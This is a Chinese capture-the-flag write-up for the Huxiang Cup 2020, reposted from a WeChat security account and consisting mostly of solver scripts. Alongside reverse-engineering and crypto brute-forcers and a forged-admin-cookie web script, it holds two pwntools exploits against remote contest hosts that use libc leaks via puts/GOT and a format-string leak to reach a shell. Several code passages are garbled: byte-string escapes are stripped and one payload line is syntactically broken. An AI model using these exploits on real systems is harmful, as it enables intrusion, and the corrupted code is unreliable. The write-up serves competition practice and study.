★NewWebsite
然后利用脚本提取所有的 标签
import requests
from bs4 import BeautifulSoup as bs
cookies = {
'PHPSESSID' : '707sli2m52o442fjhtn1pv0m24',
'user' : 'admin'
}
url_login = 'http://47.111.96.55:55000/admin/?r=index'
s = requests.session()
r = s.get(url_login, cookies=cookies)
html = r.text
soup = bs(html,"html.parser")
items = soup.find_all('a')
for i in items:
print(i.get('href'))
flag{→→←←←←←←←← →→→→←←←←←← →→←←←←←← ←←←←←←→→→→ ←←←←←←→→→→ ←← ←←←←←←→→→→ →→→→→→→→←← →→←←←←←_← ←
←←←←←←←←← ←←→→→→→→→→ →→→→→→→→→→ ←←←←←←←←←← ←←←←→→←← →→←←←←←← ←←←←←←←←→→ ←←→→ ←←←←→→→→→→ →_
→→→→→→→←← ←←←←←←←←←← ←←←←←←→→→→ ←←→→ →→→→→→→→→→ →→←←→→←← ←← →→→→←←←←←← →→→→→→→→←← →→←←→→←←
←←←←←←→→→→ ←←←←←←→→→→ →→→→←←←←←← →→→→→→←←←←}
-.... --... -... ...-- ...-- . ...-- ----. -... ..... .---- ----- ..... ..-. -... ....- .- ..--- ----. ..... ...-- .- ----- -.-. . --... ----. -.-. ...-- ...-- --... ---..
# -*- coding: utf-8 -*-
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('2.txt', 'rb') as f:
bin_str = ''
for line in f.readlines():
stegb64 = ''.join(line.split())
rowb64 = ''.join(stegb64.decode('base64').encode('base64').split())
offset = abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=','')[-1]))
equalnum = stegb64.count('=') #no equalnum no offset
if equalnum:
bin_str += bin(offset)[2:].zfill(equalnum * 2)
print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)])
★虚实之间
★easyZ
a=[0x0000b2b0,0x00006e72,0x00006061,0x0000565d,0x0000942d,0x0000ac79,0x0000391c,0x0000643d,0x0000ec3f,0x0000bd10,0x0000c43e,0x00007a65,0x0000184b,0x0000ef5b,0x00005a06,0x0000a8c0,0x0000f64b,0x0000c774,0x000002ff,0x00008e57,0x0000aed9,0x0000d8a9,0x0000230c,0x000074e8,0x0000c2a6,0x000088b3,0x0000af2a,0x00009ea7,0x0000ce8a,0x00005924,0x0000d276,0x000056d4]
b=[0x000077d7,0x0000990e,0x0000b585,0x00004bcd,0x00005277,0x00001afc,0x00008c8a,0x0000cdb5,0x00006e26,0x00004c22,0x0000673f,0x0000daff,0x00000fac,0x000086c7,0x0000e048,0x0000c483,0x000085d3,0x00002204,0x0000c2ee,0x0000e07f,0x00000caf,0x0000bf76,0x000063fe,0x0000bffb,0x00004b09,0x0000e5b3,0x00008bda,0x000096df,0x0000866d,0x00001719,0x00006bcf,0x0000adcc]
c=[0x00000f2b,0x000051ce,0x00001549,0x000020c1,0x00003a8d,0x000005f5,0x00005403,0x00001125,0x00009161,0x0000e2a5,0x00005196,0x0000d8d2,0x0000d644,0x0000ee86,0x00003896,0x00002e71,0x0000a6f1,0x0000dfcf,0x00003ece,0x00007d49,0x0000c24d,0x0000237e,0x00009352,0x00007a97,0x00007bfa,0x0000cbaa,0x000010dc,0x00003bd9,0x00007d7b,0x00003b88,0x0000b0d0,0x0000e8bc]
data=[0x08a73233,0x116db0f6,0x0e654937,0x03c374a7,0x16bc8ed9,0x0846b755,0x08949f47,0x04a13c27,0x0976cf0a,0x07461189,0x1e1a5c12,0x11e64d96,0x03cf09b3,0x093cb610,0x0d41ea64,0x07648050,0x092039bf,0x08e7f1f7,0x004d871f,0x1680f823,0x06f3c3eb,0x2205134d,0x015c6a7c,0x11c67ed0,0x0817b32e,0x06bd9b92,0x08806b0c,0x06aaa515,0x205b9f76,0x0de963e9,0x2194e8e2,0x047593bc]
flag=''
for j in range(32):
for i in range(97,103):
if (i*i*a[j]+b[j]*i+c[j])==data[j]:
flag+=chr(i)
print(j)
for k in range(48,58):
if (k*k*a[j]+b[j]*k+c[j])==data[j]:
flag+=chr(k)
print(j)
print(flag)
★easyre
#a列表经过了异或
a=[43, 9, 171, 203, 147, 42, 249, 139, 154, 249, 169, 130, 251, 43, 9, 171, 202, 251, 161, 130, 251, 201, 131, 171]
flag=''
flag+=chr(((a[-1]&3)<<5)|((a[0]&0xf8)>>3))
for i in range(len(a)-1):
print(((a[i]&3)<<5)|((a[i+1]&0xf8)>>3))
flag+=chr((((a[i]&3)<<5)|((a[i+1]&0xf8)>>3)))
print(flag)
import sys, hashlib
check = [
'e5438e78ec1de10a2693f9cffb930d23',
'08e8e8855af8ea652df54845d21b9d67',
'a905095f0d801abd5865d649a646b397',
'bac8510b0902185146c838cdf8ead8e0',
'f26f009a6dc171e0ca7a4a770fecd326',
'cffd0b9d37e7187483dc8dd19f4a8fa8',
'4cb467175ab6763a9867b9ed694a2780',
'8e50684ac9ef90dfdc6b2e75f2e23741',
'cffd0b9d37e7187483dc8dd19f4a8fa8',
'fd311e9877c3db59027597352999e91f',
'49733de19d912d4ad559736b1ae418a7',
'7fb523b42413495cc4e610456d1f1c84',
'8e50684ac9ef90dfdc6b2e75f2e23741',
'acb465dc618e6754de2193bf0410aafe',
'bc52c927138231e29e0b05419e741902',
'515b7eceeb8f22b53575afec4123e878',
'451660d67c64da6de6fadc66079e1d8a',
'8e50684ac9ef90dfdc6b2e75f2e23741',
'fe86104ce1853cb140b7ec0412d93837',
'acb465dc618e6754de2193bf0410aafe',
'c2bab7ea31577b955e2c2cac680fb2f4',
'8e50684ac9ef90dfdc6b2e75f2e23741',
'f077b3a47c09b44d7077877a5aff3699',
'620741f57e7fafe43216d6aa51666f1d',
'9e3b206e50925792c3234036de6a25ab',
'49733de19d912d4ad559736b1ae418a7',
'874992ac91866ce1430687aa9f7121fc']
def func(num):
result = []
while num != 1:
num = num * 3 + 1 if num % 2 else num // 2
result.append(num)
return result
if __name__ == '__main__':
#print('Your input is not the FLAG!')
flag=''
for j in range(27):
for ch in range(0x20,0x7f):
ret_list = func(ch)
s = ''
for idx in range(len(ret_list)):
s += str(ret_list[idx])
s += str(ret_list[(len(ret_list) - idx - 1)])
md5 = hashlib.md5()
md5.update(s.encode('utf-8'))
if md5.hexdigest() == check[j]:
#print(chr(ch))
flag+=chr(ch)
print(flag)
md5 = hashlib.md5()
md5.update(flag.encode('utf-8'))
print('You win!')
print('flag{' + md5.hexdigest() + '}')
★easy_c++
a='7d21e<e3<:3;9;ji t r#w"$*{*+*$|,'
flag=''
for i in range(len(a)):
flag+=chr(ord(a[i])^i)
print(flag)
#coding:utf-8
from pwn import *
import random
context.log_level = 'debug'
debug = 0
elf = ELF('pwn_printf')
sh = remote('47.111.104.169',57106)
sh.recvuntil('interestingn')
for i in range(16):
sh.sendline(str(0x20))
sh.send('a'*8+p64(0x401213)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401213)+p64(0x20)+p64(0x4007C6))
libc_base = u64(sh.recv(6).ljust(8,'x00')) - 0x6f6a0
sh.sendline('a'*8+p64(libc_base+0xf0364))
sh.interactive()
unsigned __int64 backdoor()
{
_QWORD *v0; // rax
char v2; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Please input what you want:");
if ( (signed int)read_diy(&v2, 0x28) > 0x10 )
{
v0 = (_QWORD *)_cxa_allocate_exception(8LL, 0x28LL);
v0 = "You are too young!";
_cxa_throw(v0, &`typeinfo for'char const, 0LL);
}
return __readfsqword(0x28u) ^ v3;
}
#!/usr/bin/env python
#encoding: utf-8
from pwn import *
import time
local_file = './pwn'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
io = process(local_file)
libc = elf.libc
else:
io = remote('47.111.104.169',55804)
libc = elf.libc
#libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, ' '))
uu64 = lambda data :u64(data.ljust(8, ' '))
info_addr = lambda tag, addr :io.info(tag + '==>' +': {:#x}'.format(addr))
itr = lambda :io.interactive()
def debug():
# gdb.attach(proc.pidof(io)[0],gdbscript='b main')
gdb.attach(io)
pause()
def add(data):
sla('>','2')
sla(':',str(data))
def free(idx):
sla('>','3')
sla('dex>',str(idx))
def show():
sla('>','4')
# sla('dex>',str(idx))
sla('name','%p%p')
sla('>','1')
ru('0x')
stackbase = int(r(12),16)
info_addr('stackbase',stackbase)
ru('0x')
libcbase = int(r(12),16) - 0x3c6780
info_addr('libcbase',libcbase)
one = libcbase + 0x45226
add(p64(0) + p64(one)*6)
add(p64(0) + p64(one)*6)
free(0)
free(1)
show()
debug()
ru('2:')
heap = uu64(r(6))
info_addr('heap',heap)
sla('>','666')
ret = 0x66c458+ libcbase
payload = '1' 0x10 + p64(0) 2 + p64(heap+0x90)
sa(':',str(payload))
itr()
from pylfsr import LFSR
import itertools
import re
def xor(a, b):
return str(chr(a ^ b)).encode('l1')
def encode(content, key):
tmp = b''
for i in range(len(content)):
tmp += xor(content[i], key[i % len(key)])
return tmp
def attack(start_index):
key_char = []
key_index = []
for i in range(7):
char = xor(enc1[i + start_index], flag[i])
key_char.append(char[0])
index = (i + start_index) % 15
key_index.append(index)
for x in itertools.product([1, 0], repeat=4):
# print(x)
L4 = LFSR(fpoly=[4, 3], initstate=list(x))
data = L4.runFullCycle()
k4 = ''
for _ in range(len(data)):
a = ''
for _ in range(8):
a += str(L4.next())
k4 += chr(int(a, 2))
is_match = True
for char in key_char:
if chr(char) not in k4:
is_match = False
break
if is_match:
print(f'match: {start_index}')
else:
return
k4 = [ord(k) for k in k4]
k4 = list(set(k4) - set(key_char))
for y in itertools.permutations(k4, len(k4)):
key = (''.join([chr(_) for _ in y])).encode('l1')
key = key[:5] + (''.join([chr(_) for _ in key_char])).encode('l1') + key[5: 8]
content = encode(enc1, key)[770:].decode('l1')
if re.match(r'DASCTF{[0-9a-f]{32}}', content):
print(content)
exit()
enc1 = b'xbbxd3x08x15xc6:x08xb2xb2x9fxe4pxc7xecx7fxfd)xf6fx9cxe4xd12xaeJx81xb1x88xabxa5Vxa9x88x14xdf`~xf6xdbJxb4x06S!0xbbxe4x1axe6Rx8ex84Xx19Kx95x07Cxe8xb2'xa9x80x15xecx8fx8dYnKx85x99xb7!x134xa9xb6x15xcf&rx9bxe1x99xe4]3h~xf0xa9xa5x14xee}xd19lx14hx07v *a0x12x14xfex0fx05xdemx1dxe4s2Jx7fxc28xf6RRx8exbaxb2mx18Mxf1xef!4x17xa8xb4x14xc2x8fxb9Y:Kxaax06T!x1bxbbxfdxf6Gvx8ex9axebxd9Kxbbx06Nx9ax82cxa9xa0x14xed!x04xdbmx13xe5w3Bx7fxd0xa9xbfxb7x9cxe3xd00x83Kx86xab3x7fxc1xbbxfdx11x15xdfx8ex80Yx07xd8xe5]2mxe9xbbxce`x91ox8fx8cY!x81xe4Jx92x8cxa7Tx16Ex15xf1WMY(xb8[x8e2y~xcbMx10x15xc7x1fWYx0cKx87xcexe5 !bxa8x83x14xec6xd1!xc8x905xe52Lxf1xbaxcfnx9dx9dxe7uxadmx06xe4n2rxd8xbaxedxf6x7fx9dxd8xd02mx12Gx07Yx89x7fxc0xa8xa4x15xe5x043Yx1eJxaex07nx94x87xbbxcf_x8dx9dxd1x14Y,x9exe5bxd7x8cx7fxf7xa8x8fx14xc7x8fxb3xb6xf1x93xe4Oxddxc4xdbxbaxf6!x15xfd.xd1x18xcfxf6x03xea2Ex7fxe1xa9xa5xfex9dxc9xd1;xd9xeex05x06zxc8xb2xbbxe2xf7{JW4xcdmx1axe5Ux8d x0f&x14x7fxf6x9dxd4Exbfxc3xdbxe4Lxe1xf7x90xbbxdaZxf4x9dxd13xb8m3xe2D3o~xf8Hxf6U*x07lYx03Kxabx07~xa3x87xbbxc9xf7sAQx08Y6Jx86x07Yxecxf7xbbxc6sx15xc6x7fEYx02Jx95x07Z x11xbbxc6Tx15xfc-xd0x06xe6x9f-x07^ x15xbbxcczx14xf3x8fx97xd4l9tx85xe8x8axbexbbxf9xf6fx9dxf2xd19xa2Kxb6xcdxcfxf6~xd5xa9xaax15xd8x8exb3x81m9xe4fxb2!x1exbaxd8sxfdx11x08Wxa1l;x01x07_!x11xbbxddxf6xx9dxf0x17Yx15xfex02xc7xa0!.Wxa9xa5x8fx9cxe8xd1x12mx04xe5s3Q~xddxa9xa3x15xdbx8fxacxafxecxbbx10xde2_xbaxbaxe8xf6f.x1exd1x17lx06xe4Uxddxf0xd6~x0fAx14xcbx8exb0Yx1fJxb2xe4xb3!"xbaxfeUx14xedYxd0>l-~x06P 1xbbxf2xf6waDxd1(mx12`x06@xb6~xfaxa9xb1xb0x9dxfbx18xfbm&xe4v2wxcexbaxcboxd5x07x11QX<Jxbdxb22Ox7fxd8x>xc8x9cxd3xd03x9dxb5x1exd72Sxf2ryxf1Wx9cxc89YrKx8fxffx8axe0xb5{xa9xaexb1x9dxddxd1=xbeKxa3x06e!x08xbaxd2xf6jx9cxf6xd0x0fl#xe5oxf5xaa~xc2xa9x99x15xea6xd1:xe7xa8xe4nxbb nVxa9x91x14xf9}xd0!m/xe5|2ox81xbaxf8rx14xebtRxc9xecxdd`xbfxc6x81xdfKXWxb3o.%xa9xcdxb9x14xfdx97x83x8eOnx03xb6iuuxabx9dxbcx15xf4xc3xd6xc1'
flag = b'DASCTF{'
print(len(enc1))
for start in range(512, len(enc1)):
attack(start)
★古典美++
p1 = ord('A')
p2 = ord('a')
iv1 = '25b11314900d41f9823dde37f3c1f548'.decode('hex')
c1 = ord(iv1[5]) ^ p1
iv2 = c1 ^ p2
iv2 = iv1[:5] + chr(iv2) + iv1[6: 16]
print iv2.encode('hex')
本文始发于微信公众号(Timeline Sec):湖湘杯2020 部分WriteUp
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论